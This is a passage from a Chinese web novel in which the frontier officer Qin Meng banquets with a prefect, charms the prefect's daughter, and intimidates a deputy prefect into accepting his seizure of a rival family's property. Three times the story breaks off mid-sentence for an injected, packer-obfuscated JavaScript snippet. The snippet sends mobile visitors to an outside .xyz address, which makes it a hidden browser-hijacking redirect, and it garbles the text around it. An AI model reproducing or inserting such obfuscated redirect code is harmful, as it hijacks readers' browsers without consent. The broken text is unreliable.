以此报复漕运被封之仇!
“好、好哇!好一个秦猛……竟用这种手段!”董袭咬牙切齿。
想起今日设宴相邀被秦猛推脱,原来对方早有谋划,摸清自己底线,不愿与自己牵扯太深。
他与幽州刘德福相交多年、同属一阵营,绝不能坐视不管,当即整衣肃容,疾步赶往郡守衙门。
可郡守衙门榭厅却是另一番热闹光景。
五品郡守林安国正设宴款待秦猛,这位四十来岁、面皮黝黑的魁梧官员,手握一郡军队训练、百姓教化、民生科举等实权,此刻却对秦猛礼遇有加。
秦猛带着袁飞赴宴,行下官礼后。
他特意拉过袁飞“扯虎皮做大旗”:“林大人,这位乃是飞虎卫赵将军的亲卫猛将袁飞!”
“袁将军?失敬!快快请坐!”林安国面露诧异,连忙拱手见礼,姿态竟与昨夜的韩知县如出一辙。
——显然,赵将军亲卫猛将随行协助,着实唬人。他也在暗自揣测这秦猛究竟是何来历。
而这正是秦猛带袁飞前来的原因:
昨夜韩知县被“忽悠”,袁飞的身份占了大半功劳。
袁飞虽看穿自己被“待价而沽”,但却没有发作。斜眼瞪着秦猛,似在说“等回去再算账”。
当看到满桌酒肉,这位袁将军顿时不拘小节,端着酒碗,夹着肉菜,甩开腮帮子猛吃起来。
第81章 林家有女
厅内烛火摇曳,映照着三人神色各异的脸庞。
秦猛与林安国相对而坐,红木桌案上摆着各类精致菜肴,烫了两壶好酒。却只见袁飞风卷残云般大快朵颐,筷子所到之处,盘盏皆空。
林安国眉头越皱越紧,指节在桌面上轻轻叩击。作为正儿八经的文官,最是讲究规矩礼法。
秦猛也脸颊发烫,以笑声来掩饰:“哈哈哈,林大人,这小子在我这儿,没有赵将军约束。
如天高任鸟飞,海阔凭鱼跃。请多担待一二。”
说罢,他在桌下重重踩了袁飞一脚。
青年这才讪讪放下筷子,抹了抹油光发亮的嘴角。
“天高任鸟飞,海阔凭鱼跃!”林安国却被这话吸引,反复咀嚼着这十个字,忽然击节赞叹。
“秦知寨言语精辟,意境开阔,当真了不起!”
秦猛举杯笑道:“大人谬赞了,来,我俩敬大人一杯,祝贺升迁之喜。”
他又拉了拉身旁的袁飞:“来,一同敬林大人一杯。”
袁飞虽不善言辞,却也懂得察言观色,立刻端起酒杯,跟着秦猛一同起身,口中含糊地附和。
“祝林大人升官发财!”
林安国见状,亦双手端杯起身还礼,脸上堆起官场特有的温和笑容,口中说着“同喜”“客气”之类的应酬话。
三人酒杯相碰,清脆的声响在水榭中漾开,初时的些许拘谨也随之消散。
林安国却只浅抿一口,目光仍在秦猛身上流转,似在重新审视这位传闻中只懂厮杀的边关武将。
三人重新入座!
秦猛与林安国你来我往,推杯换盏,话题从边关的草原鞑虏,风土人情聊到地方的政务民生,偶尔也提及朝中动向,竟意外地十分投缘。
林安国本是文官出身,却对边关战事颇有兴趣。
秦猛便捡些不涉机密的趣闻讲给他听,时而穿插几句对防务的独到见解,听得林安国连连点头。
林安国也向秦猛透露了些地方上的难处,比如近来粮税收缴不易,郡城的乡绅们总以各种理由拖延,或瞒报土地,言语间满是无奈。
酒过三巡,林安国脸颊已染上酡红,眼神也多了几分醉意。
他握着酒杯,身子微微前倾,声音带着几分郑重:“昨日之事,本府已然知晓,多谢秦将军搭救小女之恩!若不是将军出手,婉儿恐怕……”
“林大人客气了。”秦猛正欲开口谦虚几句,却被林安国抬手打断。
“哎,救命之恩,岂能草草了事?秦将军不必过谦。”说罢,他转过头,朝水榭后方的后堂皱着眉喊了一声:“婉儿,出来敬贵客一杯酒!”
声音不算严厉,却带着几分不容置喙的意味。
良久,后堂才传来一道轻柔却带着几分不情愿的女子声音:“爹爹,女儿身体不适,恐不能陪客。”
那声音细细软软,像是怕惊扰了人,却又藏着一丝抵触。
“休要瞒我!让你来,你便来。”林安国脸色微微一沉,语气也重了几分,显然是看穿了女儿的借口。
“来啦!”又过了片刻,后堂终于传来一道清脆的应答,只是那声音里的不情不愿依旧清晰可闻。
林安国这才转过头,朝秦猛和袁飞露出歉意的笑容:“两位见笑了,是林某拙荆走得早,平时太惯着这丫头,让她性子变得这般娇纵。”
“林大人这是慈父心肠,哪里算娇纵?”
秦猛顺着他的话接了一句,这是他在后世练就的本事,总能在恰当的时候说些让人舒心的话。
话音刚落,便见一道白色身影从竹帘后走了出来。
女子身着一袭月白色长裙,裙摆绣着细碎的兰花纹路,行走间衣袖飘飘,宛如月下仙子。
不是昨日被他从**手中救下的女子,又是谁?
秦猛心中其实早已猜到几分——林安国提及女儿,又恰是昨日遇险,两者重合的概率太大。
可当真正看到林婉儿的模样时,还是不由得微微错愕。
比起昨日在山道上的惊慌狼狈,今日的林婉儿显然精心打理过,发髻上插着一支碧玉簪,脸上略施薄粉,眉宇间透着官家千金特有的贵气。
只是那精致的小脸上却覆着一层寒霜,柳眉微蹙,显然对父亲让自己出来陪客的事满心不悦。
“爹爹,女儿不想搅和这些官场应酬,更不想刻意去讨好别人……”林婉儿声音带着几分委屈。
话还没说完,却猛地憋了回去,只因她抬眼望去。
坐在父亲对面的并非什么脑满肠肥的富商,也不是油滑世故的官场子弟,竟是昨日在荒野上救自己于危难之中的那位黑甲将军——秦猛!
“爹爹,你怎不早点说?女儿也好梳妆打扮一番,这般模样……”
林婉儿瞬间霞飞双颊,双手下意识地绞着裙摆,竟当着外人的面跺了跺脚,带着几分撒娇的意味。
可话刚出口,她便意识到场合不对,俏脸瞬间红得更厉害了,像是熟透的苹果,连耳根都染上了粉色。
林婉儿定了定神,提着裙摆莲步轻移,快步走到秦猛面前,微微曲膝,行了一个标准的万福礼。
她声音也变得轻柔了许多:“秦将军恕罪,方才是婉儿失礼,婉儿这就敬您一杯,以谢昨日救命之恩。”
说着,她亲自为秦猛斟满酒,又给自己倒了一杯。
“多谢将军昨日出手相救,此恩婉儿没齿难忘。”
“举手之劳,林姑娘不必介怀。”秦猛谦逊地笑了笑。
“没想到林姑娘竟是林郡守的千金,昨日事态紧急,若有照顾不周之处,还望见谅。”
“秦将军说笑了,您是婉儿的救命恩人,感激还来不及,怎会怪罪?”
林婉儿脸颊依旧绯红,却壮着胆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418897|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子抬起头,目光直直地看着秦猛,语气诚恳:“救命之恩,婉儿且敬将军一杯,还望将军莫要推辞。”
秦猛见状,便放下手中的筷子,端起酒杯,与她轻轻一碰,“哐”的一声轻响,格外清晰。
他仰头一口饮尽杯中酒,温酒入喉,带着几分暖意。
林婉儿则用宽大的衣袖遮着半边脸,小口饮尽杯中酒,放下酒杯时,恰好与秦猛的目光撞个正着。
她眼神慌乱地移开,心跳却不由自主地加快了几分。
席间的气氛,在这一刻突然变得微妙起来。
林婉儿先前的不悦早已荡然无存,取而代之的是少女的娇羞,她时不时抬眼偷瞥秦猛,眼波流转间满是柔情,哪还有半分方才的不情愿?
林安国将这一切看在眼里,眉头不禁微微皱起,眼中闪过担忧,不悦,以及一丝复杂的神色。
他本是想让女儿来亲自道谢,却没料到女儿竟对秦猛生出这般情愫,这可不是他想看到的。
他林安国之女岂能嫁给一个武夫?
一旁的袁飞倒是看得通透,他手里拿着啃了一半的鸡腿,像是在看一场早已预料到的戏码。
林安国轻咳一声,打破了这微妙的氛围,指了指自己身旁的空位:“婉儿,过来坐,别总站着。”
林婉儿这才回过神,乖巧地走到林安国身边坐下。
只是心思显然不在父亲身上。
刚坐下没多久,她便主动找话题,声音温柔得能掐出水来:“秦将军,听爹爹说您一直在边关驻守。
不知拒马河有多宽?
边寨的日子是不是很苦?
还有,草原是不是真的像书中写的那样,无边无际呀?”
她一连串问了好几个问题,样子活泼,叽叽喳喳的,像只好奇的小鸟,眼神里满是向往。
秦猛被这突如其来的热情弄得一怔,见女孩兴致勃勃,也不忍扫了她的兴,随即笑道讲解。
“拒马河宽千米,汛期时水流湍急,奔腾咆哮入东海,也被称为界河,抵御**的天然屏障。
边寨的日子确实辛苦,冬天寒风刺骨,夏天蚊虫肆虐,不过兄弟们都习惯了,而且景色美。”
他说着抬手比划,腕甲与护臂碰撞叮当作响:“至于草原,确实广阔无垠,尤其是到了夏天,漫山遍野都是青草,真正的风吹草低见牛羊,夜里还能看到满天的星星,比城里亮多了。”
林婉儿听得入了迷,时不时点头附和,还主动为秦猛添酒,两人有说有笑,时不时碰杯,气氛愈发融洽。
反倒是边上的林安国被晾在了一边,他看着眼前这一幕,脸色渐渐变得难看,放在膝上的手也不自觉地握紧了。
他怎么也没想到,自己的女儿自幼饱读圣贤书,心高气傲,对官宦子弟不假颜色,竟会对一个边关武将如此热情,这让他心中很不是滋味。
第82章 榭厅外起波澜
“秦将军,婉儿再敬您一杯。”
榭厅内,林婉儿与秦猛一问一答,言笑晏晏。女孩斟酒的动作格外郑重,双手捧杯举过眉梢:“将军那日斩敌的英姿,婉儿便难以忘...”
话音未落,酒液晃出杯沿,秦猛急忙伸手托住杯底,指尖不经意擦过她的手腕。两人俱是一震,酒盏在空中微晃,映出四目相对的瞬间。
“秦某是个粗人,当不起小姐如此。”秦猛仰头饮尽,心虚地偏过头。
林婉儿以袖掩面饮酒,放下酒杯时,唇上沾着晶莹酒渍,依旧浅笑盈盈。
“将军可知,那日您策马而来,一枪挑杀狼戎**,像极了《边塞英豪传》里的画本英雄?”
林安国忽然重重咳嗽一声,女儿却浑然不觉,挨着秦猛坐下连珠发问:“拒马河的落日真能染红整片水面吗?书中说**是没粮才来劫掠...”
秦猛说起“大漠孤烟直,长河落日圆”的景象,又谈及“非我族类其心必异”之类的看法。
他忽然挽起袖口,小臂上狰狞的刀疤惊得林婉儿轻吸口气,
“这是几年前边堡秋汛时,被**劫掠所伤。草原上是一群豺狼,养不熟的白眼狼,他们不管男女老幼,书上说‘缺粮才劫掠’,纯属胡扯。”
少女纤白的手指悬在半空,似想触碰疤痕又不敢,轻声问:
“疼吗?”
这三个字极轻,却让秦猛心头莫名一颤。
林安国见势头不对,忙主动插话,将话题拉回感谢救命之恩上。
他清了清嗓子:“秦将军,昨日之事,本府感激不尽,备了些许薄礼,还望将军收下。”
说罢,他轻拍手掌,几人从水榭外走进来,为首的竟是护送车队的军官张崇。
“卑职见过秦将军。”张崇快步上前见礼,身后,几个衙役手捧红木托盘,一个托盘盖着红布,鼓鼓囊囊,其余上放着绸缎与茶叶。
——正是林安国备好的谢礼。
只是张崇神色略显尴尬,显然觉得此举不妥,毕竟昨日秦猛救人时并未求回报,此刻送礼反倒显得生分。
“秦知寨,林某为官清正,私产不多。
这托盘里是三百两银子、十多卷锦缎与上好官茶,另外本府会调拨三千石粮草送往边寨,以助将军练兵,杀**所需,也谢救小女之恩。”
林安国说着,下意识往前挪了挪,挡在林婉儿身前,活像护犊子的老母鸡,摆明了防范秦猛。
秦猛一眼看穿他的心思,心中无奈。
他此刻满心想的是如何搞钱粮、壮大铁血军寨,只想在乱世中自保,哪有功夫顾及儿女情长?
他看向几个托盘之物,神色肃然,语气郑重:“林大人,昨日出手相助,是为救同胞,并非为钱财粮草。
您若真心感谢,不必用这些俗物。多安置城内流民。文人有风骨,难道边塞武将就没有傲气吗?”
“爹爹,您怎能这样?”林婉儿冰雪聪明,瞬间懂了父亲的心思,不想与秦猛有往来。
她红了眼眶,声音带着委屈,“秦将军昨日救我时,根本不知我们是谁,也未曾想过回报。您这般做,岂不是侮辱了将军的好意?”
“再说了,女儿已经长大了,有自己的选择。”
说完,她猛地起身往后堂跑,快踏入竹帘时又停下,转头深深看了秦猛一眼,眼神里满是不舍,还有不易察觉的歉意,随后才消失在帘后。
“婉儿!”林安国起身去追,却没追上。
他站在原地,看着空荡荡的后堂入口,脸色青一阵白一阵,水榭内的气氛瞬间凝固、压抑。
秦猛知道再留下去不合适,便起身拱手:“林郡守,今日叨扰,日后再来拜访,我等告辞。”
他本想借此时机拉近与林安国的关系,将这位新郡守拉到边军这边,可如今看来,这辈对武人多有成见,只能等时机成熟,再徐徐图之。
他拉着还在啃鸡腿的袁飞起身就走。
林安国伸手想拦,却张了张嘴说不出话,最终长叹:“好吧,两位将军慢走,本府送送你们。”
可就在此时,水榭外传来急促的脚步声,伴着衙役的呼喊:“郡丞大人,郡守正在会客,您不能进去!”
“闪开!本官有要事禀报!”
一道严厉的呵斥响起,正是郡丞董袭。
他脸色阴沉,秦猛强夺产业是其一,更让他不满的是旬月前多了“顶头上司”林安国,往日畅通无阻的衙门如今要层层通报,行事束手束脚。
秦猛听到“董袭”之名,眉头微皱。
他与董袭无交集,却听说此人与幽州刘德走得近,还给了南河镇刘家不少便利,故而之前推脱了董袭的宴请。
此刻董袭急着找林安国,恐怕没好事。
“滚开!耽误大事,你有几颗脑袋?”董袭语气更沉,没把衙役放在眼里,不待通报便推开人闯入水榭。
恰好林安国送秦猛等人走到门口,两人迎面撞上。董袭险些撞到林安国,幸好及时停步。
“董郡丞,你可知规矩?本府正在会客,你竟敢硬闯,成何体统?”
林安国是个读书人,最讲礼仪,昨日女儿车队遇袭本就起疑,见董袭无礼,脸色瞬间阴沉,语气满是不悦。
董袭见是林安国怒了,脸色稍缓,忙拱手:“林大人,下官并非有意冒犯,实在是今日城中出了大事,闹得沸沸扬扬,不得不火速禀报!”
“哦?何事紧急?”林安国眉头皱得更紧。
董袭深吸一口气,语气愤怒:“是铁血军寨的秦知寨!这个武夫胆大包天,竟敢纵容手下兵卒,大庭广众之下,抢夺南河镇刘家的产业。
刘家是郡里望族,他这般行事,简直目无王法!”
“什么?竟有此事?”林安国满脸错愕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418898|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下意识瞥了眼身后的秦猛。
方才酒桌上,他只觉秦猛魁梧勇猛,谈吐得体,甚至带几分儒雅,实在难信对方会做这种事。
“千真万确!”
董袭掏出一张折叠整齐的状纸,递给衙役转呈林安国,“郡守大人您看,这具状文书上写得清清楚楚!”
林安国展开状纸,上面满是受害掌柜,管事等人控诉秦猛抢夺刘家产业的文字,还列了“证据”,言辞恳切,乍看之下,倒像真的。
他看完,脸色微变,刚要开口询问秦猛却被对方抬手打断。
“林大人,休要听他一派胡言。”秦猛向前半步,走出廊道。
ta直直盯着董袭,脸上带着假惺惺的笑,拱手道,“见过董郡丞,本将便是铁血军寨知寨秦猛,不知郡丞口中的‘武夫’,说的可是本将?”
董袭没料到秦猛竟在郡衙内,脸上闪过诧异,随即恢复不屑。只冷哼一声算是打过招呼。
“董郡丞说本将公然抢夺别人家产,简直是无稽之谈。”秦猛脸色一沉,语气也冷了下来。
“昔日南河镇刘家的刘德才之子刘耀宗,在赌坊中输了钱,无力偿还,便自愿拿刘家的产业抵债。
本将提供的地契、欠条一应俱全,而且已经经过郡城县衙专人核验,按律,是合法有效的。”
“本将只是拿回属于自己的产业,又有何不可?”
他冷冷地看着董袭,眼神中满是嘲讽,“难道董郡丞觉得,欠债还钱、抵债取产,也是违法行为?”
“哼,你不过是与县衙串通,巧立名目罢了,派兵卒强占,**,说到底,就是公然抢夺!”
董袭冷笑几声,语气笃定,仿佛亲眼看到了秦猛“勾结”县衙一般。
“刘家世代忠良,又颇有家资。怎会做出欠债不还的事?定是你用了什么手段逼迫刘公子!”
“直娘贼,麻辣隔壁。”突然,一道嘲讽的骂声响彻,袁飞从后面跳出来,指着董袭口吐芬芳。
“世代忠良?我呸!
刘家年年贩卖粮食,铁器入草原,与**勾结,欺压良善,掳掠人口,已经证据确凿。你还有脸说是世代忠良?莫非你也是此类货色?”
这一通话直接把董袭给骂懵圈了。
秦猛也有点尴尬,自己在训练新兵时情急之下,偶尔蹦出来的国骂竟然被这小子学了去。
“你…你血口喷人。”董郡丞回过神来,勃然大怒。
“哼,董郡丞,你要是清白,又何必这般动怒?”
撕破了脸皮,秦猛也丝毫不给他面子,冷笑以对:“本将奉命来抓奸细,你以为我是来耍笑?
你有没有勾结**,你说了不算,我说了也不算。办案得讲究证据,本将日后自会查清。”
“本官身正不怕影子歪!”董郡丞冷哼回应。死死盯着秦猛,双方视线于空中交织,火花四溅。
第83章 步步紧逼,权柄交锋
“画虎画皮难画骨,知人知面不知心。”
秦猛望着满手龌龊、劣迹斑斑的董郡丞,此刻竟摆出一副正义凛然的模样,不禁嗤笑出声。
“董大人,好一张伶牙俐齿!”
“少说废话!”董袭面色阴沉,重重冷哼,转头看向旁观的林安国,“林大人,您身为一郡之长,这般强占他人产业之事,还望您做主定夺!”
“林大人。”秦猛针锋相对,亦掏出折叠整齐的公文,递向林安国。
“这是县衙专人核验的记录、产业地契与借据欠条,件件真实无误。”
“按律,本将有权收回这些产业。”秦猛语气加重,他早已做好准备,即便刘德福亲自来,也改变不了结果。
林安国接过一看,脸色顿时变得纠结。
这份公文是县衙开具,各房联合签名,人证物证齐全,事实确凿,瞬间让他陷入两难境地。
“林大人,此事您无需操心,说到底是我与刘家的个人恩怨。”秦猛见他为难,主动开口解围。
“您只需睁一只眼闭一只眼,或是依法处理便好。”
他目光锐利地盯着董袭,语气陡然转厉:“幽州刘德福用下三烂的手段,本将也不必跟他讲规矩。老子就是明抢了,你又能如何?”
董袭脸上的笑意瞬间消失,脸色阴沉得能滴出水。
秦猛不给他说话的机会,声音带着几分狠厉:“本将不妨明说,找由头夺了刘家产业,就是蓄意报复!报复刘德福封禁小南运河之仇!敢断我边寨粮道,老子就要让他付出代价!”
他向前逼近一步,眼神如刀般锐利,带着几分戏谑看着董袭:“我不仅要报复,还要搞死他。本将亲口承认了,你董郡丞又能奈我何?”
“你……你好大的胆子!如此行径,岂不是要谋反?”董袭脸色剧变,色厉内荏地厉声指责。
“啧啧啧,谋反?董大人这话倒是说得熟练。”秦猛斜睨着跳脚的董袭,义正言辞地喝斥。
“你与刘家勾结**、串通山贼,那才是真正的谋反!”
“你…你胡……”董袭眼中闪过慌乱,刚想辩解。
“闭嘴!”秦猛厉声打断董袭的话,“本将身为朝廷命官,最是遵纪守法,绝不会信口雌黄。”
“遵纪守法?”林安国左右眼皮剧烈地跳动着。
袁飞看秦猛的眼神都变了,这厮太能掰扯了,都快要拔刀子**,还能说自己“最是遵纪守法”。
秦猛站在道德的制高点上,继续指责董袭,嘴巴如同抹了开塞露似的,根本就停不下来。
“你看看你,獐头鼠目,一看就不是好人呐!
本将说你勾结**,必然手握证据,由不得你狡辩抵赖。
否则岂能服众?那不是知法犯法?
境内百姓也多有说你不是,流民你也不安置好。
连自己的同胞你不爱护,作为朝廷六品命官,这不仅是大大的失职,这更是种**行为…”
他不屑地打量着董袭,仿佛在看一个跳梁小丑。手却已悄悄摸上腰间的刀柄,一股淡淡的杀气从他身上悄然弥漫,将董袭笼罩其中。
董袭瞬间只觉寒意从脚底窜起,额头冒出冷汗。
他突然想起不久前,那位试图抢夺秦猛军功的巡检使臣,最终被秦猛当场斩杀,连头颅都被砍下。
这位可是真敢对朝廷命官动手的狠人!
想到此处,董袭愈发慌乱,双腿微微颤抖,下意识退后两步,看向林安国,竟带着颤音求救。
“郡守大人,救我!”
林安国本不想掺和两人争执,可董袭都公然向自己求救,再不表态制止,难免落人口舌。
“够了!”
他只能硬着头皮上前,挡在两人中间,规劝道:“秦将军,董郡丞,有话好好说,何必动刀动枪?”
“哟!林大人,您误会了,我哪有胆量冒犯董大人?”秦猛朝林安国笑了笑,一脸无辜地说道。
其实,他之前真想过一刀斩杀董袭,一了百了。
但最终还是放弃了这个鲁莽的念头。
毕竟董袭既是朝廷正六品命官,又是地方豪强,贸然斩杀的后果,恐会引发青阳郡城混乱。
眼下拒马河冰封在即,**随时可能来袭,稳定为重。
不如先安插人手,争取利益,日后再作清算。
更何况,能借此与林安国暗中联手,分走董袭手中权力,增强话语权,后续行事也会更顺利。
秦猛不愿再浪费时间,看向林安国,语气郑重:“林大人,并非本将不讲理,实在是有些人丧尽天良,幽州漕运判官刘德福做得太过分!”
“此前刘德福找借口封禁小南运河戍堡,更是狂言,不许任何商队运送一粒米、一尺布前往边寨。”
“寒冬将至,没有物资,**再来袭扰,边寨如何能守住?这分明是公然针对边堡,与整个边军为敌!”
“这件事情你们不要说不知道!”
秦猛突然止声,目光扫过林安国与董袭,“问题多严重,影响有多恶劣,你们心中有数。”
“他既然先撕破脸皮,就别怪本将不讲情面。依规夺取产业,不过是本将的还击手段之一!”
说完,他又看向董袭,眼中闪过一丝狠厉,抛出更惊人的消息:“还有,董郡丞,你以为刘德福这杀才,只做了封禁运河这一件事?”
“他暗中勾结冷艳山的贼匪,几年来,掳掠边地百姓,卖到草原部落为奴为婢,以此牟利!”
“什么?竟敢如此放肆?”
林安国脸色骤变,声音陡然转厉,显然也被这消
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418899|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息震惊。
“他们有什么不敢的?”秦猛面无表情,冷笑道,“刘德福给贼匪送粮食钱财,唆使他们在前天夜里袭击边堡,害得我边军兄弟死伤惨重!”
“不错,此事我亲自经历。三百多贼匪已全军覆没,捷报早已飞马传至帅司。”袁飞适时上前,出声佐证,“不少贼匪被生擒,证据确凿!”
“你……你们胡说!”董袭脸色瞬间惨白,声音慌乱。
“刘兄怎会做这种事?你们这是故意栽赃陷害。”
“是不是栽赃陷害,一查便知。”
秦猛冷笑一声,从怀中掏出一本册子递给林安国:“城北军营中,还关押着不少冷艳山贼人头目,他们已然招供,这便是他们的供词。”
“林大人看过便知真假,若是不信,也可亲自去审讯,看看此事真伪,看看本将是否在胡说。”
林安国接过供词快速浏览,脸色越来越难看。
供词由秦猛下令整理,条理清晰,不仅记录了刘德福勾结贼人的时间、地点,还有具体交易记录,甚至连刘德福派谁联络、给了贼匪多少好处都记录清楚,证据确凿,不容置疑。
“刘德福不知死活,那就让他**!”
秦猛声音低沉如闷雷,带着不容置疑的威严。
“本将奉命而来,上峰已有指令,此事关乎边地安危,没有任何退让余地。谁敢跳出来,插手此事,谁就是与边军为敌,谁就是自寻死路。”
他目光再次落在董袭身上,语气冰冷:“董郡丞,你现在还要为刘家产业强出头吗?”
“还是说,勾结贼匪、袭击边寨之事,你也有参与?”
“没没没……我没有!”
董袭眼中满是恐惧,头摇得像拨浪鼓,声音带着颤音:“我只是听说兵卒强夺他人产业,才来向郡守大人禀报。”
“本官也被蒙在鼓里,根本不知道他勾结贼匪的事,真的不知道!”
此刻他才彻底明白,秦猛是有备而来,不仅手握扳倒刘家的证据,更有铲除对手的决心。
自己若再牵扯其中,必是死路一条。
他在官场混迹多年,自认老谋深算,却险些被刘德福连累,落得身败名裂的下场。
袭击边堡、勾结贼匪,这可是诛九族的大罪,他万万承担不起!
林安国看着手中供词,又看了看惊慌失措的董袭,再回想昨日家眷遇袭,脸色凝重到了极点。
已经确认此事十有**是真的!
他刚上任没多久,就遇上这般大事,幽州漕运官员勾结贼匪、袭击边堡,若是处理不当。
仅掳掠边民百姓贩卖到草原这一条,后果极为严重。
消息一旦传开,不仅会掀起轩然大波,甚至会引起民变,**若是大举来犯,就是一场灾难!
第84章 荐才定产业
林安国想到此案件的可怕后果,就清楚到那时不仅自己乌纱帽难保,恐怕还会波及北方防线。
他深吸一口气,看向秦猛:“秦将军,此事牵扯甚广,需要时间核实,还望将军稍安勿躁。”
“我晓得轻重。”秦猛点了点头:“”此an极其恶劣,必须妥善处置,保密,不然后果不堪设想。”
他知道这案件问题有多严重,林安国需要时间消化,侦办,奏报等。
何况,这案件根本查不下去,会有多方阻挠,结果只会不了了之。秦猛比谁都看得通透。
眼下首要目标是搞钱、搞粮。
再看董袭这副模样,显然已不敢再跳出来作怪。
林安国得到秦猛准确的答复后,松了口气。随即扫视在场衙役,董袭,语气极为严厉。
“本府希望案件未定性,今日之事,谁也不得外传。违令者,祸及家人,休怪本府冷酷无情。”
秦猛打量着老实下来的董袭,脑中灵光一闪:“对了,林大人。本将觉得郡城守军训练松弛,难堪大用。
愿保举两人:青州府马军都头张崇,从军多年,熟读兵书,昨日指挥有度,护卫车队有功,能识文断字,是难得的将才,可任营指挥使。”
廊道内的张崇听到举荐之言,呼吸骤然急促,眼中满是激动。
昨夜林安国本想保举他填补青阳阳县巡检司使臣空缺,没想到今日秦猛竟会保举提拔他,有望连升数级,这份惊喜让他一时间难以平复。
秦猛接着说道:“另一人是我的老部下庞仁,为人机灵,擅长捕盗缉贼,正好调入地方军队。
保举他到郡县巡检司整顿,训练兵卒,确保郡城守军可用、能战,而不是只知道欺负百姓。”
“嗯,秦将军言之有理,不愧是边寨铁血猛将。”林安国眼皮狂跳,心中却连连叫好,求之不得。
他刚到青阳郡上任,根基浅薄,缺乏心腹人手调度,地方乡绅豪强,还总拖着粮税不交。
如今有机会扶持自己人任职,自然不愿错过。
林安国转向董袭,问道:“董郡丞,秦将军这个提议如何呀?”
他虽是郡城的最高长官,但董袭身为郡丞,握有监督职权。
大周设此职位,本就是为了防止官员权力过大,让郡守与郡丞互相节制,保举需双方共同首肯。
董袭闻言,脸色变幻不定。
他在青阳郡经营多年,手握实权,在郡城那是说一不二,向来不把新上任的林安国放在眼里。
可如今林安国要保举心腹,边军也借机伸手,显然是要制衡自己的权力,这让他心中极为不甘。
秦猛见他迟疑不决,不冷不**开口:“董郡丞,刘德福做得太绝,这回怕是死定了。
但此事与其他人无关,本将事务繁忙,没时间管闲事。
这次只是警告!
老子的铁血军寨,不是谁都敢来踩一脚的。以后别来招惹我,否则我宁为玉碎,不为瓦全!”
秦猛神色冷峻,一字一顿地说道,语气中满是警告。
林安国闻言眼前一亮,低声呢喃着秦猛的话,显然明白了其中的深意,这位秦将军只想杀鸡儆猴,安静的戍边守疆,不想把事情闹大。
“你是地方官,我隶属边军,双方互不干涉。”秦猛语气缓和些许,给了董袭一个台阶下。
“青阳郡城乃是边疆重地,需两位大人好生治理。本将不希望这里出乱子,你明白我的意思?”
董袭瞬间听出弦外之音。秦猛不会借机动他,前提是他必须让出部分利益,同意两人保举。
以及刘家产业被抢占只能视而不见。
若是说半个“不”字,刘德福的案子必定会牵扯到自己,眼前这位手段狠辣的将领绝不会放过自己。
“好可怕的年轻人!”董袭瞳孔收缩,心中骇然。
他瞬间想通其中关节,只能舍弃小利保全自身,连忙说道:“秦将军慧眼,张都头与庞校尉,确是栋梁之才,乃是我青阳郡城之福。”
林安国望着董袭泛白的指节,忽然莫名心里舒畅。笑道:“董郡丞爽快。那刘家产业......”
“按律处置。”董袭抢着接话。
“嗯,董大人做了个明智的选择,省得本将动手。”秦猛意味深长地笑了,随后看向林安国。
“林大人,冷艳山贼匪就在城北军营,随时可以提审。”
“秦某还有事,就告辞了。”说罢,秦猛不再多言,拉着早已看呆的袁飞,转身离开了郡衙。
“哇靠,你这厮早有预谋?”
“什么预谋?此乃谋而后动,没有确凿证据岂能乱来?要知道我可是朝廷命官,最是遵纪守法。”
“你别说这几个字,听着膈应。”
豪放粗犷的对话声和笑声隐隐传来,直至消失。
只留下林安国与董袭站在榭厅门口,面对秦猛的雷霆手段和突如其来的变故,呆愣了许久。
……
“董大人,您可得为我们做主啊!”
“刘家的铺子被秦将军的人抢了,咱们得要回来。”
董袭与郡守林安国共同签署公文,处理完几件事后。连饭都没吃,拖着疲倦的身子离了郡衙。
一回到郡丞衙门,又面临糟心事。
十几个求他出面挽回产业的掌柜管事围拢上来。董袭眼底掠过一丝厌烦,却又不得不压下去。
半晌后,他才缓缓开口:“诸位,不是本官不愿帮,只是此事牵扯甚广,其中另有隐情。”
他本来想说刘德福勾结山贼死定了,可想到林安国杀气腾腾的警告,把话咽回去,及时改口。
“再说了,欠债还钱,天经地义。
刘家产业抵债,按规矩处置,郡衙也已盖章认下,此事我已尽力,再纠缠,便是与边军为敌。”
董袭只含糊以“秦猛握有地契、实据、郡衙已认”搪塞,并暗中提点他们转去
